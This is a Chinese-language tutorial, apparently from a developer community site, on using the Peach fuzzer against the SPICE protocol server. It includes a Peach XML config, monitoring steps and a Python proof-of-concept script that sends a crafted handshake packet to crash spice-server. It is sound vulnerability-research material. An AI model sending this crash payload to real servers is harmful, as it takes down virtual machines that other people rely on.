本篇主要介绍了使用fuzzing技术来发现隐藏的安全漏洞, 当我们对比较复杂的网络协议进行测试,一般来说会优先考虑基于生成的fuzz方式,即根据协议格式去定义请求,然后对请求进行变异, 来挖掘漏洞。
因为做网络协议迷糊测试的工具有挺多种的,这里我们选择一个常用工具的peach来模糊测试spice server.
1. 安装部署peach
下载地址https://www.peach.tech/resources/peachcommunity/
2. 创建pit config文件
该文件用来定义一个fuzzing测试项目, 这里贴出我测试spice协议的例子, 修改HOST, PORT为具体地址就可以使用。在该配置文件中,最重要的就是定义数据模型,数据模型中我们需要指出对于哪几个hexdump进行模糊变异测试。
<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">
<DataModel name="send_data">
<Block name="mod">
<Number name="01" size="16" value="52 45" valueType="hex" signed="false"/>
<Number name="02" size="16" value="44 51" valueType="hex" signed="false"/>
<Number name="03" size="16" value="02 00" valueType="hex" signed="false"/>
<Number name="04" size="16" value="00 00" valueType="hex" signed="false"/>
<Number name="05" size="16" value="02 00" valueType="hex" signed="false"/>
<Number name="06" size="16" value="00 00" valueType="hex" signed="false"/>
<Number name="07" size="16" value="1a 00" valueType="hex" signed="false"/>
<Number name="08" size="16" value="00 00" valueType="hex" signed="false"/>
<Number name="09" size="16" value="00 00" valueType="hex" signed="false"/>
<Number name="10" size="16" value="00 00" valueType="hex" signed="false"/>
<Number name="11" size="16" value="01 00" valueType="hex" signed="false"/>
<Number name="12" size="16" value="01 00" valueType="hex" signed="false"/>
<Number name="13" size="16" value="00 00" valueType="hex" signed="false"/>
<Number name="14" size="16" value="01 00" valueType="hex" signed="false"/>
<Number name="15" size="16" value="00 00" valueType="hex" signed="false"/>
<Number name="16" size="16" value="12 00" valueType="hex" signed="false"/>
<Number name="17" size="16" value="00 00" valueType="hex" signed="false"/>
<Number name="18" size="16" value="09 00" valueType="hex" signed="false"/>
<Number name="19" size="16" value="00 00" valueType="hex" signed="false"/>
<Number name="20" size="16" value="0f 00" valueType="hex" signed="false"/>
<Number name="21" size="16" value="00 00" valueType="hex" signed="false"/>
</Block>
</DataModel>
<StateModel name="TheState" initialState="initialState">
<State name="initialState">
<Action type="output">
<DataModel ref="send_data" />
</Action>
</State>
</StateModel>
<!--使用socket进行监听端口 -->
<Agent name="Local">
<Monitor class="Socket">
<Param name="Host" value="172.118.35.13" />
<Param name="port" value="5905" />
</Monitor>
</Agent>
<!--log保存-->
<Test name="Default">
<Agent ref="Local" />
<StateModel ref="TheState" />
<Logger class="File">
<Param name="Path" value="C:\peach\logs" />
</Logger>
<Publisher class="tcp.Tcp">
<Param name="Host" value="HOST" />
<Param name="Port" value="PORT" />
</Publisher>
</Test>
</Peach>
通过抓包分析,我们需要模糊测试的是spice-client与spice-server第一次握手的过程,spice protocol协议块的hexdump则是我们主要进行fuzzing的模块。
3. 运行peach
在协议模糊测试的时候,我们需要做的不仅仅是触发crash or hang,而且我们更需要知道在什么地方出现了问题。
cd D:\peach-3.1.124-win-x64-release
.\Peach.exe sample\spice.xml
4. 监控
在这里我们通过返回响应和日志记录来判断是否出现问题。
1). 通过wireshark抓包,如果发现只有发出去的请求而没有返回的请求,或者返回的请求出现了异常, 则可能服务端出现了问题
2). 检查qemu-kvm的日志,通常日志里都会记录崩溃点。
cd /var/log/libvirt/qemu/
tailf instance-00000526.log
5. 构造poc脚本
当发现一个request可以造成虚拟机的crash的时候,就需要去构造一个poc脚本来确保crash造成的必然性,意思就是能够百分百复现当前的问题。
比如,我在模糊测试spice-server的时候发现的问题,这个脚本可以造成进程crash:
# -*- encoding: utf-8 -*-
import socket
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
host = "172.118.35.13"
port = 5931
if __name__ == "__main__":
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("\x52\x45\x44\x51\x02\x00\x00\x00\x02\x00\x1a\x00\x00\x00\xe7\xf0" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00" \
"\x00\x00\x01\x00\x00\x00\x12\x00\x2e\x00\x21\x01\x00\x00\x0f\x00" \
"\x00\x00")
print s.recv(1024)
s.close()
下面的这个漏洞就是我在fuzzing spice-server的时候发现的crash漏洞
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。